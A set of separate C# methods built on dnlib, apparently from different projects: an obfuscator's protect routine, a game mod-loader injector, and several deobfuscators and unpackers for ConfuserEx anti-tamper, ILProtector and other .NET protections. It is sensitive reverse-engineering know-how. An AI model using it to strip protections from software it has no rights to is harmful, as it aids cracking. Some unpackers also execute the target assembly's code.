RenamerPhase.Execute(module); ConsoleLog.AppendText($"{time} Processing Renaming{Environment.NewLine}"); } if (Anti_De4dot.IsChecked == true) { AntiDe4dot.Execute(module.Assembly); ConsoleLog.AppendText($"{time} Processing Anti De4dot{Environment.NewLine}"); } if (JumpCflow.IsChecked == true) { JumpCFlow.Execute(module); ConsoleLog.AppendText($"{time} Processing Jump Control flow{Environment.NewLine}"); } if (AntiDebug.IsChecked == true) { Anti_Debug.Execute(module); ConsoleLog.AppendText($"{time} Processing Anti Debug{Environment.NewLine}"); } if (Anti_Dump.IsChecked == true) { AntiDump.Execute(module); ConsoleLog.AppendText($"{time} Processing Anti Dump{Environment.NewLine}"); } Watermark.Execute(module); if (AntiTamper.IsChecked == true) { Protection.Anti.AntiTamper.Execute(module); ConsoleLog.AppendText($"{time} Processing Anti Tamper{Environment.NewLine}"); } if (InvalidMD.IsChecked == true) { InvalidMDPhase.Execute(module.Assembly); ConsoleLog.AppendText($"{time} Processing Invalid MetaData{Environment.NewLine}"); } Antimanything.Execute(module); var text2 = Path.GetDirectoryName(LoadBox.Text); if (text2 != null && !text2.EndsWith("\\")) { text2 += "\\"; } var path = $"{text2}{Path.GetFileNameWithoutExtension(LoadBox.Text)}_protected{Path.GetExtension(LoadBox.Text)}"; module.Write(path, new ModuleWriterOptions(module) { PEHeadersOptions = { NumberOfRvaAndSizes = 13 }, Logger = DummyLogger.NoThrowInstance }); ConsoleLog.AppendText($"{time} {path}"); if (AntiTamper.IsChecked == true) { Protection.Anti.AntiTamper.Sha256(path); } }
static void Main(string[] args) { ModuleDef module; try { module = ModuleDefMD.Load(args[0]); } catch { Console.WriteLine("No arguments added!"); return; } Console.WriteLine("Loaded module " + module.Name + ", Runtime: " + module.RuntimeVersion); string bb_version = "unknown/bb obfuscator not found"; foreach (TypeDef type in module.Types) { if (type.Name.Contains("__BB_OBFUSCATOR_VERSION_")) { bb_version = type.Name.String.Split('_')[5] + "." + type.Name.String.Split('_')[6] + "." + type.Name.String.Split('_')[7]; } } Console.WriteLine("BB Obfuscator Version: " + bb_version); Console.WriteLine("[1] Renaming..."); int count = 0; int i = 0; foreach (TypeDef type in module.Types) { if (!type.Name.Contains("__BB_OBFUSCATOR_VERSION_") || !type.Name.Contains("ArrayCopy")) { if (type.Name != "<Module>") { type.Name = "Class" + i; int ii = 0; foreach (FieldDef field in type.Fields) { field.Name = "Field" + ii; ii++; } int iii = 0; int iiii = 0; foreach (MethodDef method in type.Methods) { foreach (ParamDef param in method.ParamDefs) { param.Name = "Param" + iii; iii++; } method.Name = "Method" + iiii; iiii++; } i++; } } count++; Console.WriteLine("[1] Renaming [" + count + "/" + module.Types.Count + "]"); } Console.WriteLine("[2] Watermarking..."); module.Name = "Renamed by Kades BB-Deob. BB Version " + bb_version; Console.WriteLine("[3] Saving..."); module.Write(module.FullName.Split('.')[0] + "-Renamed.dll"); Console.WriteLine("Saved to " + Directory.GetCurrentDirectory() + @"\" + module.FullName.Split('.')[0] + "-Renamed.dll"); }
static void Main(string[] args) { try { if (args.Length != 1) { Console.WriteLine("Missing file location argument!"); return; } var Module = ModuleDefMD.Load(args[0]); if (Module == null) { Console.WriteLine("File not found!"); return; } Module.IsILOnly = true; Module.VTableFixups = null; Module.IsStrongNameSigned = false; Module.Assembly.PublicKey = null; Module.Assembly.HasPublicKey = false; var opts = new ModuleWriterOptions(Module); Console.WriteLine("[EXILED] Loaded " + Module.Name); Console.WriteLine("[EXILED-ASSEMBLY] Resolving References..."); ModuleContext modCtx = ModuleDef.CreateModuleContext(); // It creates the default assembly resolver AssemblyResolver asmResolver = (AssemblyResolver)modCtx.AssemblyResolver; Module.Context = modCtx; ((AssemblyResolver)Module.Context.AssemblyResolver).AddToCache(Module); Console.WriteLine("[INJECTION] Injecting the ModLoader Class."); var ModLoader = ModuleDefMD.Load("ModLoader.dll"); Console.WriteLine("[INJECTION] Loaded " + ModLoader.Name); var ModClass = ModLoader.Types[0]; foreach (var type in ModLoader.Types) { if (type.Name == "ModLoader") { ModClass = type; Console.WriteLine("[INJECTION] Hooked to: " + type.Namespace + "." + type.Name); } } var modRefType = ModClass; ModLoader.Types.Remove(ModClass); modRefType.DeclaringType = null; Module.Types.Add(modRefType); MethodDef call = findMethod(modRefType, "LoadBoi"); if (call == null) { Console.WriteLine("Failed to get the 'LoadBoi' method! Maybe we don't have permission?"); return; } Console.WriteLine("[INJECTION] Injected!"); Console.WriteLine("[EXILED] Completed injection!"); Console.WriteLine("[EXILED] Patching code..."); TypeDef def = findType(Module.Assembly, "ServerConsoleSender"); MethodDef bctor = new MethodDefUser(".ctor", MethodSig.CreateInstance(Module.CorLibTypes.Void), MethodImplAttributes.IL | MethodImplAttributes.Managed, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName); if (findMethod(def, ".ctor") != null) { bctor = findMethod(def, ".ctor"); Console.WriteLine("[EXILED] Re-using constructor."); } else { def.Methods.Add(bctor); } CilBody body; bctor.Body = body = new CilBody(); body.Instructions.Add(OpCodes.Call.ToInstruction(call)); body.Instructions.Add(OpCodes.Ret.ToInstruction()); Module.Write("Assembly-CSharp-EXILED.dll"); Console.WriteLine("[EXILED] COMPLETE!"); } catch (Exception e) { Console.WriteLine(e.ToString()); } Console.Read(); }
public static ModuleDefMD UnAntiTamper(ModuleDefMD module, byte[] rawbytes, bool reren = false, uint val = 808349983) { dynInstr = new List <Instruction>(); initialKeys = new uint[4]; cctor = module.GlobalType.FindStaticConstructor(); if (cctor.Body.Instructions[0].OpCode == OpCodes.Call && cctor.Body.Instructions[0].Operand.ToString().Contains("VM")) { cctor = (MethodDef)cctor.Body.Instructions[0].Operand; } antitamp = FindAntiTamperMethod(); methodsToRemove.Add(antitamp); if (antitamp == null) { return(null); } //Console.WriteLine("[!] AntiTamper Method Found: " + antitamp.Name); IList <ImageSectionHeader> imageSectionHeaders = module.Metadata.PEImage.ImageSectionHeaders; ImageSectionHeader confSec = imageSectionHeaders[1]; FindInitialKeys(antitamp); if (initialKeys.Any(initialKey => initialKey == 0)) { // Console.WriteLine("[!!] First Initial Key Scraper Failed"); FindInitialKeys2(antitamp); } if (initialKeys.Any(initialKey => initialKey == 0)) { // Console.WriteLine("[!!] Second Initial Key Scraper Failed"); FindInitialKeys3(antitamp); } if (initialKeys.Any(initialKey => initialKey == 0)) { // Console.WriteLine("[!!] Third Initial Key Scraper Failed"); FindInitialKeys4(antitamp); } if (initialKeys[1] == 0) { return(null); } // Console.WriteLine("[!] All Keys Scraped"); input = new MemoryStream(rawbytes); reader = new BinaryReader(input); // Console.WriteLine("[!] Hashing Keys"); Hash1(input, reader, imageSectionHeaders, confSec); bool isNew = Remover.isNew(antitamp); // Console.WriteLine("[!] Grabbing Next Keys"); arrayKeys = GetArrayKeys(isNew); // Console.WriteLine("[!] Decrypting Methods"); origReader = reader; if (reren) { DecryptMethods(reader, confSec, input, val); } else { DecryptMethods(reader, confSec, input); } ModuleDefMD fmd2 = ModuleDefMD.Load(input); // while(checker(fmd2)) // { // reader.BaseStream.Position= origReader.BaseStream.Position; // confSec = origConf; // input = origInput; // DecryptMethods(reader, confSec, input, 808349983); // fmd2 = ModuleDefMD.Load(input); // } // Console.WriteLine("[!] Loaded Module: " + fmd2.FullName); // fmd2.GlobalType.FindStaticConstructor().Body.Instructions.RemoveAt(0); return(fmd2); }
static void Main(string[] args) { try { if (args.Length < 1) { Console.WriteLine("Drag a DLL to this EXE"); return; } var path = args[0]; var pathfix = Path.Combine(Path.GetDirectoryName(path), "Fixed"); Directory.CreateDirectory(pathfix); var fileName = Path.GetFileName(path); pathfix = Path.Combine(pathfix, fileName); File.Delete(pathfix); RType.rnamespace = fileName.Substring(0, fileName.IndexOf('.')) + ".ByteCodes"; ModuleDefMD module = ModuleDefMD.Load(path); Console.WriteLine(module.Assembly); AssemblyResolver asmResolver = new AssemblyResolver(); ModuleContext modCtx = new ModuleContext(asmResolver); asmResolver.DefaultModuleContext = modCtx; asmResolver.EnableTypeDefCache = true; module.Context = modCtx; ((AssemblyResolver)module.Context.AssemblyResolver).AddToCache(module); RInstructions rinstructions = new RInstructions(module); new RField().Apply(module); new RProperty().Apply(module); new RMethod().Apply(module); new RType().Apply(module); rinstructions.Apply(); module.Write(pathfix); module.Dispose(); var f = File.OpenRead(pathfix); MemoryStream ms = new MemoryStream(); f.CopyTo(ms); f.Dispose(); ms.Position = 0; ModuleDefinition cmodule = ModuleDefinition.ReadModule(ms); File.Delete(pathfix); using (var tf = File.Create(pathfix)) { cmodule.Write(tf); } Helper.WriteLine(path + " -> " + pathfix); } finally { Console.ReadLine(); } }
private static void Main(string[] args) { Console.WriteLine("ILProtectorUnpacker 1.1" + Environment.NewLine); if (args.Length == 0) { Console.WriteLine("Please drag & drop the protected file"); Console.WriteLine("Press any key to exit...."); Console.ReadKey(true); return; } var asmResolver = new AssemblyResolver { EnableFrameworkRedirect = false }; asmResolver.DefaultModuleContext = new ModuleContext(asmResolver); Console.WriteLine("Loading Module..."); var _module = ModuleDefMD.Load(args[0], asmResolver.DefaultModuleContext); var _assembly = Assembly.LoadFrom(args[0]); Console.WriteLine("Running global constructor..."); RuntimeHelpers.RunModuleConstructor(_assembly.ManifestModule.ModuleHandle); Console.WriteLine("Resolving fields..."); var invokeField = _module.GlobalType.FindField("Invoke"); var stringField = _module.GlobalType.FindField("String"); var strInvokeMethodToken = stringField?.FieldType.ToTypeDefOrRefSig().TypeDef?.FindMethod("Invoke")?.MDToken.ToInt32(); var invokeMethodToken = invokeField?.FieldType.ToTypeDefOrRefSig().TypeDef?.FindMethod("Invoke")?.MDToken.ToInt32(); if (invokeMethodToken is null) { throw new Exception("Cannot find Invoke field"); } var invokeInstance = _assembly.ManifestModule.ResolveField(invokeField.MDToken.ToInt32()); var invokeMethod = _assembly.ManifestModule.ResolveMethod(invokeMethodToken.Value); var invokeFieldInst = invokeInstance.GetValue(invokeInstance); MethodBase strInvokeMethod = null; object strFieldInst = null; if (strInvokeMethodToken != null) { var strInstance = _assembly.ManifestModule.ResolveField(stringField.MDToken.ToInt32()); strInvokeMethod = _assembly.ManifestModule.ResolveMethod(strInvokeMethodToken.Value); strFieldInst = strInstance.GetValue(strInstance); ToRemove.Add(stringField); } ToRemove.Add(invokeField); Console.WriteLine("Applying hook..."); Hooks.ApplyHook(); Console.WriteLine("Processing methods..."); foreach (var type in _module.GetTypes()) { foreach (var method in type.Methods) { if (!method.HasBody) { continue; } Hooks.SpoofedMethod = _assembly.ManifestModule.ResolveMethod(method.MDToken.ToInt32()); DecryptMethods(method, invokeMethod, invokeFieldInst); if (strFieldInst != null) { DecryptStrings(method, strInvokeMethod, strFieldInst); } } } Console.WriteLine("Cleaning junk..."); foreach (var obj in ToRemove) { switch (obj) { case FieldDef fieldDefinition: var res = fieldDefinition.FieldType.ToTypeDefOrRefSig().TypeDef; if (res.DeclaringType != null) { res.DeclaringType.NestedTypes.Remove(res); } else { _module.Types.Remove(res); } fieldDefinition.DeclaringType.Fields.Remove(fieldDefinition); break; case TypeDef typeDefinition: typeDefinition.DeclaringType.NestedTypes.Remove(typeDefinition); break; } } foreach (var method in _module.GlobalType.Methods .Where(t => t.HasImplMap && t.ImplMap.Name == "P0").ToList()) { _module.GlobalType.Remove(method); } var constructor = _module.GlobalType.FindStaticConstructor(); if (constructor.Body != null) { var methodBody = constructor.Body; int startIndex = methodBody.Instructions.IndexOf( methodBody.Instructions.FirstOrDefault(t => t.OpCode == OpCodes.Call && ((IMethodDefOrRef)t.Operand).Name == "GetIUnknownForObject")) - 2; int endIndex = methodBody.Instructions.IndexOf(methodBody.Instructions.FirstOrDefault( inst => inst.OpCode == OpCodes.Call && ((IMethodDefOrRef)inst.Operand).Name == "Release")) + 2; methodBody.ExceptionHandlers.Remove(methodBody.ExceptionHandlers.FirstOrDefault( exh => exh.HandlerEnd.Offset == methodBody.Instructions[endIndex + 1].Offset)); for (int i = startIndex; i <= endIndex; i++) { methodBody.Instructions.Remove(methodBody.Instructions[startIndex]); } } Console.WriteLine("Writing module..."); string newFilePath = $"{Path.GetDirectoryName(args[0])}{Path.DirectorySeparatorChar}{Path.GetFileNameWithoutExtension(args[0])}-Unpacked{Path.GetExtension(args[0])}"; ModuleWriterOptionsBase modOpts; if (!_module.IsILOnly || _module.VTableFixups != null) { modOpts = new NativeModuleWriterOptions(_module); } else { modOpts = new ModuleWriterOptions(_module); } if (modOpts is NativeModuleWriterOptions nativeOptions) { _module.NativeWrite(newFilePath, nativeOptions); } else { _module.Write(newFilePath, (ModuleWriterOptions)modOpts); } Console.WriteLine("Done!"); Console.ReadKey(true); }
public static void Main(string[] args) { Console.Title = "Test ILProtector Unpacker by TobitoFatito"; Harmony.Patch(); ModuleDefMD Module = ModuleDefMD.Load(args[0]); Assembly asm = Assembly.LoadFrom(args[0]); TypeDef globalType = Module.GlobalType; int num = 0; foreach (FieldDef fieldDef in globalType.Fields) { if (fieldDef.Name == "Invoke") { num = fieldDef.MDToken.ToInt32(); } } if (num == 0) { Console.WriteLine("[!] Couldn't find Invoke"); } MethodInfo methodInfo = (MethodInfo)asm.EntryPoint; Console.WriteLine("Invoking!!!"); if (methodInfo.GetParameters().Length == 0) { methodInfo.Invoke(null, null); } else { methodInfo.Invoke(null, new object[] { args }); } Console.WriteLine("Invoked!"); foreach (var type in Module.GetTypes()) { foreach (var methodd in type.Methods) { try{ if (methodd.HasBody && methodd.Body.HasInstructions) { if (methodd.Body.Instructions[0].OpCode == OpCodes.Ldsfld && methodd.Body.Instructions[0].ToString().Contains("Invoke")) { if (methodd.Body.Instructions[1].IsLdcI4()) { var methoddd123 = ResolveMethodBodyShit(methodd.Body.Instructions[1].GetLdcI4Value(), Module); if (methoddd123 != null) { methodd.FreeMethodBody(); methodd.Body = methoddd123.Body; } } } } } catch { } } } Save(Module, args[0]); Console.ReadLine(); }
static void Main(string[] args) { Console.WriteLine("Written for purpose by MindSystem"); Console.WriteLine("don't forget to give credit if you use it !"); Mode mode = Mode.Dynamic; //Defining a module to inspect ModuleDefMD module = null; //This is for the dynamic approach, pay attention if can be dangerous to load //assembly you do not trust ! //If the assembly was made using .net core, this code should be adapted ! Assembly asm = null; //Loading module from args try { module = ModuleDefMD.Load(args[0]); } catch (Exception ex) { Console.WriteLine(ex.Message); Console.ReadLine(); return; } try { asm = Assembly.LoadFrom(args[0]); } catch (Exception ex) { Console.WriteLine(ex.Message); mode = Mode.Static; } //Also loading the assembly, if it fails, apply static approach System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch(); watch.Start(); Console.WriteLine("Using {0} approach", mode); StringDecryptor decryptor = new StringDecryptor(FindDecryptionMethods(module), module, asm, mode); int decryptedstring = 0; decryptor.DecryptString(ref decryptedstring); watch.Stop(); Console.WriteLine("Done ! Elapsed time : {0}", watch.Elapsed.TotalSeconds); Console.WriteLine("Decrypted : {0}", decryptedstring); //Replacing the path string SavingPath = module.Kind == ModuleKind.Dll ?args[0].Replace(".dll", "-Deobfuscated.dll") : args[0].Replace(".exe", "-Deobfuscated.exe"); //Check to see if asm is mixed mode or not if (module.IsILOnly) { //Saving option var opts = new ModuleWriterOptions(module); opts.MetadataOptions.Flags = MetadataFlags.PreserveAll; opts.Logger = DummyLogger.NoThrowInstance; //Saving the deobfuscated assembly module.Write(SavingPath, opts); } else { //Same here but for mixed mode assembly var opts = new NativeModuleWriterOptions(module, false); opts.MetadataOptions.Flags = MetadataFlags.PreserveAll; opts.Logger = DummyLogger.NoThrowInstance; module.NativeWrite(SavingPath, opts); } Console.ReadLine(); }
private static void Main(string[] args) { Console.Title = "Anti Decompiler Cleaner - Prab "; Console.ForegroundColor = ConsoleColor.Yellow; ModuleDefMD module = null; try { module = ModuleDefMD.Load(args[0]); Console.WriteLine("[?] File Loaded: {0}", module); foreach (var dependencies in module.GetAssemblyRefs()) { Console.WriteLine($"[?] Dependencies : {dependencies.Name}"); } } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[^] Drag n Drop ! "); Console.ReadKey(); Environment.Exit(0); } foreach (var type in module.GetTypes()) { foreach (var method in type.Methods) { if (method != null && method.HasBody && method.Body.HasInstructions) { try { AntiDecompilerPhase.Execute(method); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[*] Cleaning method 0x{0:X2} {1}", method.MDToken.Raw, method.Name); } catch (Exception ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[x] Failed to clean method {0}\n {1}", method.Name, ex.Message); } } } } var savingPath = module.Kind == ModuleKind.Dll ? args[0].Replace(".dll", "-noAnti.dll") : args[0].Replace(".exe", "-noAnti.exe"); if (module.IsILOnly) { var opts = new ModuleWriterOptions(module) { MetadataOptions = { Flags = MetadataFlags.PreserveAll }, Logger = DummyLogger.NoThrowInstance }; module.Write(savingPath, opts); } else { var opts = new NativeModuleWriterOptions(module, true) { MetadataOptions = { Flags = MetadataFlags.PreserveAll }, Logger = DummyLogger.NoThrowInstance }; module.NativeWrite(savingPath, opts); } Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("[+] Finished !\n[+] File Saved at : {0}", savingPath); Console.ReadLine(); }